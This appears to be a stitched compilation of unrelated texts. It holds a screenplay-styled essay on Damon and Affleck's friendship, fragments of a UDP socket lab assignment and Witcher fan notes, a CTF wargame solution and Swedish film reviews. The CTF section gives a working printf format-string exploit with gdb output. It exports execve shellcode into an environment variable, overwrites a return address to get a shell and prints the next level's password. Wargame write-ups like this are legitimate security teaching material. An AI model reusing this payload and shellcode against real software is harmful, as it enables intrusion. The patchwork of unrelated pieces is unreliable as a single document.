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The Boston's Finest

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INT. BOSTON - DAY

In cassettes and broken tapes, there lie the cityscape of Boston with ambivalence no matter how distorted it may be. Every bouts of liberty and free spirited wanderings surged along the poster filled brick stone walls where the stifling humidity clouds the painted asphalt road. The Central Square neighborhood where shots of kaleidoscopes spread wide on the walls of Modica Way. The dewy petrichor from the cobblestones of Beacon Hill after the rain. The windowpanes in the porch reflect the teetering memories where life expands in the humble avenue. It is where the clip ends but the soul refuses to relent.

It was the 1980s and the world witnessed an uprising in the cinema industry where Die Hard (1988) and Rambo (1988) revolutionized discourse about on-screen violence, Flashdance (1983) and Purple Rain (1984) transformed the power of melodic storytelling, and David Lynch and the Coen Brothers reinforced the auteur theory of directive control. Before the glamour of the groundbreaking dawn of their careers, Hollywood stars Matt Damon and Ben Affleck once chased their shadows in the pavements with their faces smeared with dirt and splotches of heat in their linen shirts together. With their houses blocks apart from Auburn to Cottage Street, the two crossed paths in the latter’s residence while their mothers, Nancy Carlsson-Paige, an early childhood education professor, and Christopher Anne Boldt, who taught in public school, respectively had a wonderful chat. As they confront the tides of fame together with their youthful ardor, their relationship has become a cornerstone for defining a strong platonic bond, a losing art in the mainstream media, where Boston etched itself as their refuge both in conjoined grievances and relief.

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Title: The Warrior and the Clown

INT. CAMBRIDGE - DAY

One can say that the water holds memories for young Affleck who spent a great deal of his childhood under the fins of humpback whales and the dangers of rushing waves. He began his career as C.T. Grandville, the grandson of Captain Grandville, who was played by the scientist Peter Marston, in PBS educational series The Voyage of the Mimi (1984). For the grade schoolers watching, venturing into this journey was met with no trepidations as the show provided valuable information about the physical and biological processes of the planet. After the series ended, he went on to attend Cambridge Rindge and Latin School, where he would encounter Damon again (calling him Matty D.) since they became fast friends due to their shared interests for baseball and movies.

BEN (V.O.) I was 8, he was 10, he was a big kid, he played baseball, he was really cool, he had a bowl cut—those little feathered ones that we all wanted, of course—and he— And he was, you know, nice to me. And we were both interested in the same things.

Having a tad advantage to his age, Damon showed a more mature and passionate outlook for acting, which gave Affleck the boost to take it seriously. This difference in intensity of the mutual linkage they have gave Affleck the affinity to put Damon in a pedestal, who embodied a total control in his limbs and motions the moment when he was possessed by the role he played. In both admiration to his craft and character, Damon’s words were like ancient knowledge to Affleck who looked up to someone whom he believed had a superior integrity in the art of acting than him.

BEN (V.O.) I would periodically go off and do a little Voyage of the Mimi. So Matt was a little threatened by that. And when I got to the high school, he kind of pulled me aside. He said, “Listen, man! All right? This is the theater. It’s not about your looks, okay? It’s about the work.” And I took that very seriously. I thought that I was hearing something real, like the words of wisdom from a guy who understood it.

Granted, it was not a bond fully realized, yet their childish vigor and innocent wonderment were already the first step of what was anticipated. However, what made their friendship soar in a vast degree was in the January of 1987 when the blade grasses crunched in every step as the soles of leather boots left myriads of trails on the coated pristine snow. A shift in dynamics which catapulted their connection into a newfound nature of commitment where it evolved from baseless competition towards the unequivocal dedication to be with each other in whatever shenanigans one might be.

CONAN (inquiring) I know that you’re from the Boston area as am I, and there’s this reputation that like, Boston guys know how to fight. […] Did you ever get in any fights as a kid? MATT (reminiscing) I’m like you, I really tried to avoid them because there are people in Boston who really do know how to fight and you know if you’re one of them or not. But the last fight I got into, who would’ve been in the mid-80s, and I remember we had a snow day at school so we would all meet in the Cambridge Common and play tackle football because there would be a foot of snow on the ground and so you can’t really get hurt. It was a really fun thing to do and I mouthed off a kid that I knew but he was like your height. He was six-foot six, right? And I might have been 5 (foot) 3 at the time. And I said some—I scorned on him or something, I don’t know—but he came for me and it was like a mountain of a guy came at me and I was like, ”Oh, man.” So before I knew it, I was on the ground. He was above me and I was like, “This is gonna be bad.” And it was right then that little five-foot two Ben Affleck tackled this dude off of me like out of nowhere. I was like a junior and he was like a freshman and he tackled this kid off of me, literally at the risk of his own life. Really quickly, everyone had [broken] it up because they wanted to get back to the football game. That was fun and this was ridiculous and that was the end of it. The kid was reasonable and he was, “God, I’m not fighting. Let’s play.” But I remember, that was like a big moment going like this guy, he will put himself in a really bad spot for me like, this is a good friend.

The proclaimed drama geeks dominated the corners of the school’s theatre department as they consistently turned themselves into a blank slate of a paper vessel where the letters to be imprinted on it gave birth to the soul of the character they portrayed. Once they return to existence after breathing differently through living many lives, they came back as different entities where all the emotions they played amounted to the hope of bringing it on a larger stage. Regardless of how they were perceived in the social circles within the school, they always remained to be thick as thieves for whatever context, which was enough for them.

BEN (V.O.) I’ve established that we were very nerdy and a little weird. We used to have "business lunches,” in what was called the Media Cafeteria, which at the time there was a big ESL portion of our public high school—it was like 2,600 kids—and that was where the ESL kids— I don’t know why that was where we— We liked to be surrounded by people who spoke other languages. I’m not sure what it was. Maybe we didn’t want them to actually hear our business lunch, because no business was conducted. But we plotted things. We planned our careers.

The Cambridge Rindge and Latin School produced and adapted various stories which the department invested their efforts in. Some of the plays the school had in the time period where the two were involved were Guys and Dolls in the Summer '85 where Damon, still a freshman, played one of the gamblers, and The Visit in Fall-Winter '86 where Affleck, now a freshman, played a character as Damon’s son. Additionally, Damon’s “confrontation” with Affleck on how “acting is not about the looks, but the work” happened in this time frame. Another plays they performed were Pippin in Summer '87 where Damon played the lead role and Affleck worked behind the scenes because his voice was not for the audience. And lastly, the Alice in Wonderland in Fall '89 where Affleck took the role of the Caterpillar.

MATT (taunting) Say, Ben, why don't you tell us about the time you played the caterpillar in Alice in Wonderland? BEN (gearing up for a cutting contest) Yup, I was the zany, hookah-smoking caterpillar. I chose to play the role wrapped in garbage bags held together by Scotch tape. Now, if I were to play that caterpillar today, I might do it another way. CASEY (commenting) It was an underrated performance. Those trash bags were a bold choice. BEN (retaliating) So, Matt, why don't you favor us with your version of Morning Glory from Pippin?

After their eventful years inseparably playing various roles in high school, the two would bid each other farewell as Damon decided to continue his education in Harvard University. When Affleck completed his last two years, he attended the University of Vermont because of his attachment in his high school girlfriend who was not even studying in the same university he was in. Nevertheless, the two never broke contact and remained close as ever.

BEN (V.O.) Matt was definitely more… of a kind of achiever. It was inconceivable to him that you wouldn’t get an “A” or do really well. So I did really well [in] my first two years in high school and then when Matt left, I would cut class and… get in all kinds of trouble.”

In retrospect, their escapades as children of theatre might earn them some cringe looks. However, their joint experiences watered the seeds of their dreams they planted themselves, as well as their friendship that helped it to germinate much quickly by always having each other’s back. This was also the time where they made discoveries about themselves that sealed their brand as a person.

JIMMY (pulling out the picture) This is a photo, I think, you sent it to Matt just the other day just to go “Hey! Remember these dudes?” Here’s 17-year-old Matt and Ben in a photo booth. Look at this. BEN (laughing) Now, listen. Hard not to see that those guys are gonna make it. MATT (agreeing) Yeah, those guys clearly have “star” written all over them. JIMMY (amused) That’s awesome. MATT (pointing something out) You know, I think it was the matching puka necklaces that give it away. JIMMY (affirming) Best buddies. That’s BFFs right there. Come on. That’s BFFs for life.

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Title: The Crumbs on the Manuscript: Part 1

INT. UNITED STATES - DAY

It was a paradise for some, but a rabbit hole for those who only have their baggage, a couple of penny, and a dream. Done were the days where the two would cross the suburban homes in Somerville, roaming in the Assembly Square Mall where the big pictures were as avid moviegoers, and frolicking in the Harvard Square; it is the transitional period from their sentimental film reviewing antics to making appearances in wide screens, albeit a small one in their fresh start. This consisted of moving back and forth in different borders of United States for auditioning countless roles. Kevin Costner as Ray Kinsella in Field of Dreams (1989) recalled the remarkable enthusiasm of Damon and Affleck as two of the extras among the thousands in the movie. Even though they were one with the blurry heads and said that they only did it “to go to Fenway,” the sheer exhilaration of partaking in the film gave a lasting impression on what it was like to be in front of the camera.

KEVIN (remembering) They were sitting in the stands, like college guys, and they came up, and they both leaned in at the same time, leaned back at the same time, looked at each other at the same time as we talked. And they had this big enthusiasm. They were on fire. I do remember them, absolutely.

After three years of their first exposure from the said film, the two made their new appearances in School Ties (1992). This time, Damon played one of the antagonists against Brendan Fraser who played the lead role. On the flipside, Affleck played a smaller role as one of the bullies as well who performed violent acts to Fraser’s Jewish character.

BEN (remembering) I knew my nine lines back to front. I loved every day I was on a call sheet, every day I got to come to work. You were there, in Boston. It was one of the best experiences of my life. We literally were next to a dump and thought we were kings. I knew I was playing the one shitty antisemitic bully character, so I figured it was probably not going to be great for me career-wise, but I loved it.

Other films that contributed to their foundation in acting together were first, the college comedy Glory Daze (1995) where Affleck starred as the lead role named Jack, an art student who was driven by the post-college angst of the fleeting whiff of liberty before graduation, and Damon had a non-speaking role as one of Affleck’s former roommates. The other was Chasing Amy (1997), another lead role for Affleck who played Holden McNeil, the love-stricken comic book writer chasing his love of his life that turned out to be a lesbian. Damon had a cameo role and played as one of the executives who helped Affleck’s character pitch a business offer. The contrast in their perception of each other’s fame was intriguing to behold as Affleck jokingly claimed that he and Kevin Smith, a well-known director and believer of the two, were riding the coattails of Damon’s larger stardom, whereas Damon was more laid back about himself and only “tried” to get in Affleck’s films with Smith. Both also revealed to auditioned for Dead Poets Society (1989) but failed to secure a role and worked in a local movie theatre.

BEN (humorously) I slept on Kevin's couch, and it was like, “You got a buddy, this guy Matt, will he be in it?” And Matt was better known than I was. [Smith] was totally happy to exploit Matt’s stardom, for his own benefit, and so was I.

Most notably, the two disclosed the fact that they opened a joint bank account with “RiverP” as the code based from River Phoenix’s rising influence in the film industry. Both Damon and Affleck set forth a new adventure in the incongruous lands of New York where they were repeatedly hustling in the bustling audition sites for various television roles, some Burger King commercials, and local voiceovers that were not documented thoroughly for public viewing. Both their devotion for acting far transcended from only achieving success to also making sure that they were part of each other’s moments of triumph and lament.

MATT (V.O.) It was unusual, but we needed the money for auditions. BEN (V.O.) We were going to help each other and be there for each other. It was like, “You’re not going to be alone. I’m not going to be alone. Let’s go out there and do this together.”

Just like when they were two small naivetes discussing baseball mechanics on a bench of the local park, a candy bar from one will be shared willingly, cheerfully, obligingly with the other.

BEN (V.O.) If either of us needed money he could borrow it from the other. Neither one of us ended up taking. It was never one-sided. MATT (V.O.) If one kid had enough for a candy bar, then the candy bar was bought and split in half—that’s just the way it’s been.

That being said, the two will always be embedded in each other’s life whether they recklessly wallow in the pools of Napa Valley wineries or they open a hotdog stall at the Dodger Games while tracing the stars through their sparkling squinting eyes.

BEN (V.O.) Matt and I had identical interests, so whether we ended up successful or making hot dogs at Dodgers games, we knew we'd end up doing the same sort of thing. The remaining friends part was pretty consistent. We saw each other all the time, we talked on the phone all the time.

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Title: The Crumbs on the Manuscript: Part 2

INT. LOS ANGELES - DAY

While spending his time in the halls of Harvard, Damon conceived an original story that was a waiting ticket for a momentous future. He requested a favor for Affleck to act out the scenes of this story with him in front of the class. Consequently, this project gave him one of the reasons to drop out from college in 1997 in addition to them being unable to get the roles they wanted for themselves. They reckoned that if that was the case, then they could make their own film even if it would only be available in cheap cassette tapes.

BILL (V.O.) Were you guys always okay with you being the lead and him being the sidekick? MATT (V.O.) Yeah. I mean, I started it in college in a playwriting class, and so it was all established by the time—That as my final—My final paper was, I was supposed to write a one-act play. And instead I handed in the first act of a movie. And I said to the professor, "I think I failed your class. This is not what you asked for, but this is what came out and I really like it." He gave me an A in the class. Yeah, it was really cool, because I didn't get a lot of straight A's at Harvard. And he went, "No, wherever this goes—I don't know where it's going, but stay with it." And it was really great, because I didn't think of myself as a writer. I was an actor. And neither did Ben, for that matter.

After starring in various roles and earning their wages, the two promptly rented a house in the neighborhood of Venice Beach, Los Angeles where they reportedly wasted their money away for hedonistic pleasures and decided to get an apartment in Eagle Rock neighborhood. Damon and Affleck lived together as broke in-and-out of role actors after spending a whole lot of their earnings in drinks and taxes. Subsequently, this is where they ultimately decided to work on the script of Good Will Hunting (1997) seriously.

BEN (V.O.) I lived all over the place. I lived in Hollywood, then I moved. [Matt Damon] and I got money from School Ties, and we blew it all in a couple of months. We made $35,000 or $40,000 each and thought we were rich. And we were shocked later on to find out how much we owed in taxes.

Good Will Hunting (1997) turned out to be an opportunity for them to combine their creative outputs and transform it into having a life on its own. They wrote the script largely influenced by their own personal upbringings in Boston through their spontaneous and completely erratic improvised sessions of jotting down details. Writing, even admittedly not their forte, was an intuitive process for them, and just how they meticulously carve the path of Will Hunting’s fate, they were also unknowingly writing a new chapter to their wondrous epic of Hollywood breakthrough.

MATT (V.O.) And so that was in late January, and then in March I came out here [to L.A.] for Spring Break to audition for stuff, and stayed on Ben's couch and showed it to him. I was like, "Hey, I wrote this thing, I don't know what the fuck to do with it." And Ben read it and goes, "I don't know what to do with it either, but we should do it together." And I was like, "Sold! I'm in!" And so that was really the—I trusted no one in my life more than him. And we were just, you know—He was as close a friend as I’d ever had in my life or ever could imagine having. And I respected him, and I respected his taste. I mean, we—Our taste kind of formed together, you know what I mean? Those teenage years where you’re spreading your wings and gaining your own independence: we did that together. And so I know he would read a situation the same way I would. You know what I mean? We were just very compatible, in that way.

The film starred Damon as Will Hunting, the titular protagonist who was a troubled genius working as a janitor in the prestigious Massachusetts Institute of Technology (MIT) alongside Affleck as Chuckie Sullivan, one of Hunting’s closest confidants, and Robin Williams as the therapist Sean Maguire. Damon and Affleck sold the screenplay to Castle Rock Entertainment in 1994 for $675,000 where its president, Rob Reiner, told them to drop the thriller aspect and instead focus on the emotional ties of Hunting and Maguire. However, due to a conflict, Miramax Films bought the screenplay’s rights and put it into production with Gus Van Sant as the director. True to their nature, their earnings from the film were gone in few moments after it became a hit classic and a commercial success.

BEN (talking in front of the curtain) We sold it for $600,000, we split that, $300,000 each, and then the agents got $30,000. So we had $270,000, and we paid about $160,000 in taxes, so we had $110,000, each bought $55,000 Jeep Cherokees, and then had $55,000 left, which naturally we decided to rent a $5,000-a-month party house on Glencoe Way by the Hollywood Bowl, and we were broke in six months.

In their many attempts to rewrite every course of action and applicable dialogues, the crumbs on the shared candy bar remained sitting idly on the many drafts of manuscript, and still was the arrival of the sprinkling mess that was a testament of their love and camaraderie.

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Title: The Fortune Favors the Fools

INT. SHRINE AUDITORIUM - NIGHT

The pillars of Hollywood are where the gods and monsters of the industry were ensconced. Here they carve their legacy in all its pulchritudinous grandeur where they race their cars in Sunset Boulevard and Vine Street. Settled in the Shrine Auditorium, Los Angeles, the commencement of the 70th Academy Awards in 1998 propelled the trajectory of their future in an unimaginable heights. It was a turbulent period in the picture palaces where contenders such as James Cameron stirred the tides of cathartic grief with his poignant depiction of tragedy in Titanic (1997) and Kim Basinger’s seductive charisma in L.A. Confidential (1997) worked like a charm to the mass. Damon and Affleck paved their way into the culmination of the grand clockwork inside the movie industry along with the elite A-listers who took their seats on the fine cushion chairs. Billy Crystal, with all of his entertaining antics, sang an ode to the honorable artists.

MATT (V.O.) To go from that experience where, you know, we filled out the (Oscar ballot) sheets and we were betting on who was gonna win, to being in the front row of the Oscars together with our moms—in one year—it felt like warp speed. And to have Billy Crystal singing a song about us.

Damon and Affleck, in their plain tuxedos and bow ties, managed to claim their unexpected Academy Award for Best Original Screenplay in Good Will Hunting (1997). The crowd was masked with massive shouts of uproar and sheer delight the moment when Jack Lemmon and Walter Matthau presented the award, which can be liken into them, a comedic duo, passing the torch of friendship to the young novices. The two of them were remembered as sweethearts for bringing their mothers as their dates to the said event. Such gesture, even if it was seen as juvenile to some, garnered them an appreciation from the public for looking back at the pioneers among their fans and also their first pillars of hope when they partook in the tumultuous road of acting.

BEN (V.O.) We were sitting next to our moms and we won, and we kind of hugged our moms. And I remember, how everyone had made such a big thing out of it. As if this was such a novelty. And I remember thinking, being insecure, like, “Why? Why is it weird that we’re bringing our moms?” Like, “Who else do you think we would bring?” You know what I mean? There was nobody else that was going to go. That was it. Of course our moms were gonna go. That was, really was innocent and not faked.

Their signature impromptu speech was a blabbering mess and their words were caught up in a maze, yet the innocence emanating from their still neophyte minds inside the logistics of Hollywood was a testament to their authenticity as starting actors in the realer side of the business. Up until the present times, Affleck boasts his pride as he still remains to be the youngest winner to bag this prestigious award.

MATT (V.O.) Ben and I talked about it recently. We were younger than we felt. I was 22 and Ben was 20 when we first started writing it. And then it came out when I was 27 and Ben was 25. I mean, Ben’s still the youngest writer to ever win an Oscar for screenwriting. I’d be the youngest if it weren’t for Ben. Fucking asshole.

In another but shared spotlight, Robin Williams also snatched the Academy Award for Best Supporting Actor from the same film. His performance cemented his legacy as one of the most beloved actor-comedians who ever graced the common folk with his winning smile and witty sense of humor. Williams’ roles as Sean Maguire in Good Will Hunting (1997) and John Keating in Dead Poets Society (1989) resonated to the young souls through his earnest warmth of devotion in the form of paternal love. The integrity of his characters, which was molded from his own, poked the bubble of pressure that led to vulnerability.

ROBIN (V.O.) There's an emotional core to Good Will Hunting that came from Ben and Matt. They have this unspoken twins thing. They care for each other, yet they bust on each other. And that was a great bass line to work with. I'm very proud of this movie. It has a resonance.

The accolades for Good Will Hunting did not stop in its tracks as it emerged victorious in other award-giving bodies. Damon and Affleck also won the Golden Globes Award for Best Screenplay - Motion Picture and the Critics’ Choice Movie Award for Best Original Screenplay. The disbelief hung in the air but the emblems of their cherished faith in their line of work brought a newfound admiration in each other’s professional work.

MATT (V.O.) It’s been really helpful to check in with Ben throughout this whole surreal process over the last 25 years. I think the shock of becoming famous is so… I mean, that messed me up for a couple years because the whole world just starts to treat you differently. And so your subjective experience changes. It’s like somebody rewrites your code in the Matrix, but just your code. It’s like, “Oh, my whole experience has been altered in this really overwhelming way.” And so to have somebody who I’ve known my whole life, who I can be like, “Hey man, is this happening to you? Are you…” And to check in with him, it was really, really helpful. Stabilizing.

All of a sudden, they climbed up the ladder of prestige and in the throes of loneliness at the top, they basked in the presence of one another.

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Title: The Best They Ever Were

EXT. THE STREETS - DAY

As they walk in the arduous path they earnestly tread on, Damon and Affleck solidified their careers as one of the most prolific actors and filmmaker collaborators. Their fates were sealed in a fervid turmoil after that eventful night while carrying their early designed bulky cell phones in one hand and the golden trophy statuette in another. Time went on and success found its way running towards them in multitudes. Damon then had won the Screen Actors Guild Awards (SAG) for Outstanding Performance by a Cast in a Motion Picture in the movie The Departed (2007) with the cast, as well as two Critics' Choice Movie Awards for Best Actor in The Talented Mr. Ripley (2000) and Best Actor in an Action Movie in The Martian (2016). On the other hand, Affleck won the Screen Actors Guild Awards (SAG) for Outstanding Performance by a Cast in a Motion Picture in the movie Shakespeare in Love (1998) shared with the cast, another Academy Award for Best Picture as a producer in Argo (2013), and Santa Barbara International Film Festival’s (SBIFF) Modern Master Award for Argo (2013). Furthermore, the two also accepted the award for Guys of the Decade at the 10th Annual Guys Choice Awards in 2016.

The nature of their relationship has always been a sweet spot for breeding malice and amusement of many, yet both are secured enough to define what they are for each other amidst the public’s scrutiny.

WOMAN IN BLACK (gesturing with her hands) I didn’t know what your relationship is with Ben. Seeing you or to get, you know, known him your whole life— MATT (standing on the stairs) He’s my hetero-lifemate.

It goes to show how the concept of platonic bond is subjected to different interpolation because of how malleable and loosely defined its boundaries are. Moreover, histrionic commentaries over cultural norms and prejudices thrive in competitive capitalism where journalists are put in a game of catch to get a scoop on celebrity scandals with twisted headlines.

ELLEN (sitting cross-legged) So we're going to talk about it. I just heard it this morning, if you want to address it somehow. It's like when we do interviews, you say something and then people write it and it depends on—it’s out of context and it gets twisted around and something you said is getting twisted around and I want you to address it. MATT (sitting on the opposite couch) Yeah, it was just an interview with The Guardian that I just literally found out. I was talking about [how] actors are more effective when you know less about their personal lives and was talking about it in the context of when Ben and I first started, and people wrote all these articles when Good Will Hunting came out that we were gay because it was two guys who wrote the script, and feeling like “Oh, we can't even—.”Then you have to address it and then you would and then it's like, I’m not going to throw my friends under the bus who are gay and act like it's some kind of disease, you know. How do you even address it? […] I said this thing in The Guardian and it got turned into—I was just trying to say [that] actors are more effective when they're a mystery, right? And somebody picked it up and said gay actors should get back in the closet, which is, like, it's stupid. It's painful when things get said that you don't believe.

The mere fact that both Damon and Affleck remained to withstand the tribulations of exploitative industry, where privacy is compromised, speak volume to their commitment and loyalty towards each other. Writing their bond as a simple romance where they fit the conventional bill of being one is reductive in its essence because it takes away all nuances and intricacies of an outstanding platonic bond. Their relationship is supposed to remodel the foundation of a healthy friendship as it is a connection that is not codified through marriage contract or sexual attraction, but a shared mutual interest in something where both can celebrate and be dismal together. However, the public is not in the same page in terms of appreciating this kinship that rivals the so-called be-all and end-all type of love that is romance.

Decades passed through thousands of sunsets and millions of seconds, and their bodies had changed to match their shifting attitudes. However, their reverence and love for acting continue to stand unwavering in the midst of tempestuous conjectures and flashes like lightning strikes in their very faces. Currently, Damon lives in Brooklyn Heights, New York in a penthouse with the top two floors of a building spanning over the stunning views of the Manhattan skyline where he lives with Luciana Barroso and their daughters. Affleck, on the other hand, lives in a mansion in the Beverly Crest area of Los Angeles with Jennifer Lopez that stretches over 38,000 square feet, including a 12-bedroom main house and other amenities. The endless fields and valleys in between their locations were irrelevant against their will to collaborate again and screen write The Last Duel (2021) and co-found a studio together, the Artist Equity, to produce Air (2023).

BEN (sitting cross legged) I find the most wonderful thing about it was I loved coming to work everyday. I loved seeing Matt. I love—first of all, he's a genius. Having him as your anchor of your movie just makes it— MATT (gesturing Ben) See, 40-something-years it took you to— BEN (cont’d) No, I didn't use to think this. But that just makes it so easy, and it was just so much fun. It kinda felt like just us and getting to do the thing that we wanted to do. I did. I loved it. I miss it everyday since. It was the best work experience of my life. In fact, that's the beautiful thing about this. It's that happiness was being able to be here everyday in Los Angeles, where my children are and see them everyday and have them come visit the set, work with my best friend my whole life. There's nothing more that I want in my life. I thought, well, this is it. This is what I've always wanted, you know. And then I thought that might mean I'm about to die. MATT (laughing) I literally had the same thought. I was like this is it. We've actually reached the mountaintop.

Though their milestone launched them into separate houses of big screens and magazine covers, all America’s crossroads and thoroughfares and boulevards and avenues attempt to intersect at one point despite their convoluted systems to lead their lavish vehicles together in taking the high road.

BEN (V.O.) Yeah. It is bizarre to have gone this far. And definitely a lot of—I don’t think I would be sane—or as sane to the extent that I am—had I not had somebody who was from where I grew up, and who was my best friend, and who was going through the same thing. So you could— Because I’m sure you guys all know: there are these moments in this business where you look around and go like, “Is this completely insane? I feel as though I’m coming unglued.” And having that, someone share that perspective—and then so, as we went on and on, so finally got to a place where—like with The Last Duel—it was like, “Why haven’t we just—? We had so much fun! Every day on that set was so much fun! Let’s just do this: let’s just do movies together and with people we like.”

No matter how high the altitude of their dreams had come to, the streets of Boston will always have a perpetual flame into the hearts of two actors fueled by their shared ambition. Their eyebrows are the Storrow Drive with the way they are on fleek, their lips are the undulating waves in Plymouth's Fresh Pond when they curve upwards, and their torso is the Fenway Park where the Boston Red Sox is. When they gaze into each other’s faces, the two natives would recall all their hilarious mischiefs and lasting jubilations as if they are themselves the incarnation of the place they will always call home.

GRAHAM (pointing Matt) And what was the phrase? There was a phrase that you heard. Was it in a movie you heard a phrase? “There goes...” MATT (realizing) Oh, yeah. Yeah, I said it to my mother. This is funny. I said—in the movie, The Natural, Robert Redford, and it's based on something the baseball player Ted Williams once said. But so his character, Roy Hobbs, in The Natural says, “All I want is to walk down the street, you know, and when I walk down the street for people to say 'There goes Roy Hobbs, the best he ever was,'” And my mother—and I love that movie—and I love Robert Redford, asked me one day, “What is it that you want, Matthew?“ and I said, “Look, all I want is to walk down the street someday and have people say, 'There goes Matt Damon, the best he ever was.'”

The streets will be just like the way they rode their Jeep Cherokee Sport once. Only this time, the babes with their mothers and the strangers in all varying places will notice what the glint in their eyes is. And here, in the venerated bastion of media, there goes the finest of them all, the best they ever were.

FADE OUT.

THE END

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COEN 146: Computer Networks Lab assignment 3: Programming UDP/IP socket

Objectives 1. To use the copy one binary file to another 2. To develop client/ server applications using UDP/IP socket Part 1: Copy a binary/ text file to another file Problem: Copy a binary/text file to another file. Analysis: Input: pass file names as arguments to main, so your main function needs to be defined as follows: int main( int argc, char * argv[]) Your files: src.dat and…

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Coen: No one knows he is in the keep and he walks around like a shadow. Guys playing th elong game until he jumps out int he middle of the night and the Witchers all shriek like little girls.

Telling horror stories around the campfire

Papa vesemir: says the classics. Like original Dracula sort of stuff

Eskel: the kind of quietly terrifying stories. The ones that stick with you. You can't stop thinking of them

Lambert: car door. Hook. Hand. Door

Jaskier: makes his own sound effects

Geralt: solid 8/10 says his part, enough spooky stuff to get your attention

Aiden: jump scares all day

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io.netgarage.org CTF Level 9 Solution

Level 9 contains an executable and with the following C source code:

#include #include int main(int argc, char **argv) { int pad = 0xbabe; char buf[1024]; strncpy(buf, argv[1], sizeof(buf) - 1); printf(buf); return 0; }

For this challenge we will exploit printf's vulnerability with format strings. Since the program calls printf directly on the buffer with no format string given we are able to enter our own format string and printf will happily apply that for us. This is especially useful when used with the %n modifier which will:

"Print nothing, but writes the number of characters successfully written so far into an integer pointer parameter." - Wikipedia

So with the write formatting we would be able to print whatever we want directly into main's return address. We already know that we will want to print the address to a shellcode env variable similar to the past few challenges but we need to figure out how to make printf target the return address first.

(gdb) info frame Stack level 0, frame at 0xbffffc50: eip = 0x80483ad in main; saved eip = 0xb7e26276 Arglist at 0xbffffc48, args: Locals at 0xbffffc48, Previous frame's sp is 0xbffffc50 Saved registers: ebp at 0xbffffc48, eip at 0xbffffc4c

From info we can see that the return address is stored at 0xbffffc4c so this is what we need to overwrite. So how do we use this printf functionality to actually overwrite our return address, lets take a look.

(gdb) r $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%8d%hn%8d%hn Starting program: /levels/level09 $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%8d%hn%8d%hn Breakpoint 1, 0x080483ee in main () (gdb) x 0xbffffc4c 0xbffffc4c: 0x002c0023

The above execution runs through the following steps. It defines 0xbffffc4e as the first half-word to be overwritten and 0xbffffc4c as the second half-word to be overwritten. Then it sets up the format string, the important parts here are the two %8d%hn sections. The %8d is the value we will be changing to create what we want to overwrite with and the %hn writes that to the addresses specified earlier. Now what actually gets written to these addresses is the number of character formats that have occured up to where the %hn is.

The next stage is to do some math to find the offsets for our payload but first we need to create and locate our env variable. See previous solutions for explaination of this step.

level9@io:/levels$ export HACKERVOICE=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"') level9@io:/levels$ /tmp/coen/getenv HACKERVOICE HACKERVOICE is at 0xbfffff24

Great so we need to create an offset of 0xff38 and then an offset of 0xbfff applied to our previous payload. To figure out the offset we will subtract 0x23 since that was the initial offset and then add back the 8 that was already in the payload. This leaves us with an offset of 65309. Now put this value into the payload and run it again to check the initial offset for our 0xbfff value.

(gdb) r $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%65309d%hn%8d%hn Starting program: /levels/level09 $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%65309d%hn%8d%hn Breakpoint 1, 0x080483ee in main () (gdb) x 0xbffffc4c 0xbffffc4c: 0xff41ff38

Now we have run into a problem where 0xbfff is lower than the current offset of 0xff41 and we can only print more values not less, we can get around this problem by modifying the value we want from 0xbfff to 0x1bfff, and since we only care about half words the extra value won't affect our solution. Doing a similar subtraction to earlier we find the second offset to be 49351, so our final payload will be:

level9@io:/levels$ /levels/level09 $(printf "\x4c\xfc\xff\xbf----\x4e\xfc\xff\xbf")%p%p%65309d%hn%49351d%hn sh-4.3$ whoami level10 sh-4.3$ cat /home/level9/.pass UT3ROlnUqI0R2nJA

It worked! The level 10 password is UT3ROlnUqI0R2nJA

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Aktuella filmtips – en mix av Hollywood, Bollywood och småskaligt svenskt

»Babylon«

Damien Chazelles (»Whiplash«, »La La Land« och »First Man«) senaste storfilm skildrar Hollywood under det vilda 20- och 30-talet och särskilt övergången från stumfilm till ljudfilm, ett skifte som släckte flera framgångsrika skådespelarkarriärer. Som mellanbudgetfilm i dryga tretimmarsklassen med ett originalmanus och stora stjärnor i huvudrollerna (Brad Pitt och Margot Robbie) tickar filmen ironiskt nog de flesta bockar som fanns för kommersiell framgång under studiosystemets storhetstid, men är dömd att misslyckas i dagens filmlandskap där originalidéer och glammiga skådisar marginaliseras i mediakonglomeratens jakt på förutsägbara intäkter (läs: franchises, uppföljare, cinematiska universum).

Och en ekonomisk flopp är det tveklöst. Men man måste ändå beundra Paramount för modet/dumdristigheten att tillåta Chazelle göra filmen helt utan motstånd. Den påkostade scenografin tillhör årets snyggaste och det finns flera enskilt minnesvärda scener – tack vare att de skonas klippsaxen. Även kompositören Justin Hurwitz integritet är imponerande, med en filmografi bestående uteslutande av Damien Chazelle-filmer. Och att ljudkulissen tillhör samma universum som »La La Land« och »First Man« går inte att ta miste på.

Tyvärr är manuset inte tillräckligt starkt – varken när det gäller intrig, karaktärsbygge eller tematik. Hela första halvan är bombastisk underhållning av bättre slag, men sedan blir berättelsen spretig och förefaller planlös. Brad Pitts karaktär är anonym, och den tröttsamma objektifieringen och sexualiseringen av Margot Robbie som med enstaka undantag pågått ända sedan »Wolf of Wall Street« och »The Big Short« återfinns även här, även om det i denna film är delvis narrativt befogat. I slutändan är det oklart vad filmen försöker förmedla, varför speltiden är oförtjänt lång och den experimentella slutscenen framstår som pretentiös.

Ses på: Bioaktuell.

»The Banshees of Inisherin«

Bröderna Coens svarta humor möter Bergmanskt svårmod i denna pärla av Martin McDonagh (»Three Billboards Outside Ebbing Missouri« och »In Bruges«). Filmen handlar om Padraic (Colin Farrell) och Colm (Brendan Gleeson), två (tidigare) vänner bosatta på en karg irländsk ö. För redan i anslaget står det klart att Colm inte längre vill vara vän med sin gamla vapendragare. »Vad har jag gjort?«, frågar Padraic vädjande. »Ingenting«, svarar Colm. »Jag tycker bara inte om dig längre«. För Colm har insett att hans tid på jorden är ändlig och att han därför vill ägna sig åt sådant som lämnar verkligt avtryck, istället för meningslöst småprat.

